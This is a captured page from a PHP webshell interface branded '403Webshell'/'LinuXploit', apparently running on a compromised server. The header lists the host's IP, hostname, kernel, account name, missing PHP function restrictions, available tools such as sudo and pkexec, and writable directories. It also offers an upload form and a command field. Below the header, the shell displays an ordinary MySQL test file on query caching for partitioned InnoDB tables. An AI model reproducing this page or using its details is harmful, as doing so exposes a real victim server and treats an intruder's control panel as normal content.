403Webshell
Server IP : 45.40.142.9  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux s45-40-142-9.secureserver.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : bayspec ( 506)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/mysql-test/t/partition_cache.test
# Test of query cache for partitioned innodb tables
# Note that partitioned tables does no longer support query caching
# due to bug#11761296.

--source include/have_query_cache.inc

--source include/have_innodb.inc
--source include/have_partition.inc
let $engine_type= InnoDB;
# Using SELECT to get a space as first character.
let $partitions_a= `SELECT ' PARTITION BY KEY (a) PARTITIONS 3'`;
let $partitions_id= `SELECT ' PARTITION BY HASH (id) PARTITIONS 3'`;
let $partitions_s1= `SELECT ' PARTITION BY KEY (s1) PARTITIONS 3'`;
# partitioning does not support FOREIGN KEYs
let $test_foreign_keys= 0;

--source include/query_cache.inc

SET @old_query_cache_size = @@global.query_cache_size;
SET GLOBAL query_cache_size=1355776;
CREATE TABLE t1
(`NUM` varchar(4) NOT NULL,
 `UPDATE_TIME` datetime NOT NULL,
 PRIMARY KEY (`NUM`,`UPDATE_TIME`))
PARTITION BY RANGE (month(UPDATE_TIME))
(PARTITION p2 VALUES LESS THAN (3) ENGINE = InnoDB,
 PARTITION p3 VALUES LESS THAN (4) ENGINE = InnoDB);

SELECT * FROM t1 WHERE MONTH(update_time)=3;

INSERT INTO t1 VALUES ('AAA', '2010-03-11 00:00:00');

SELECT * FROM t1 WHERE MONTH(update_time)=3;

ALTER TABLE t1 TRUNCATE PARTITION p3;

COMMIT;

SELECT * FROM t1 WHERE MONTH(update_time)=3;

SELECT SQL_NO_CACHE * FROM t1 WHERE MONTH(update_time)=3;

ALTER TABLE t1 DROP PARTITION p3;

SELECT * FROM t1 WHERE MONTH(update_time)=3;

DROP TABLE t1;

SET @@global.query_cache_size = @old_query_cache_size;

Youez - 2016 - github.com/yon3zu
LinuXploit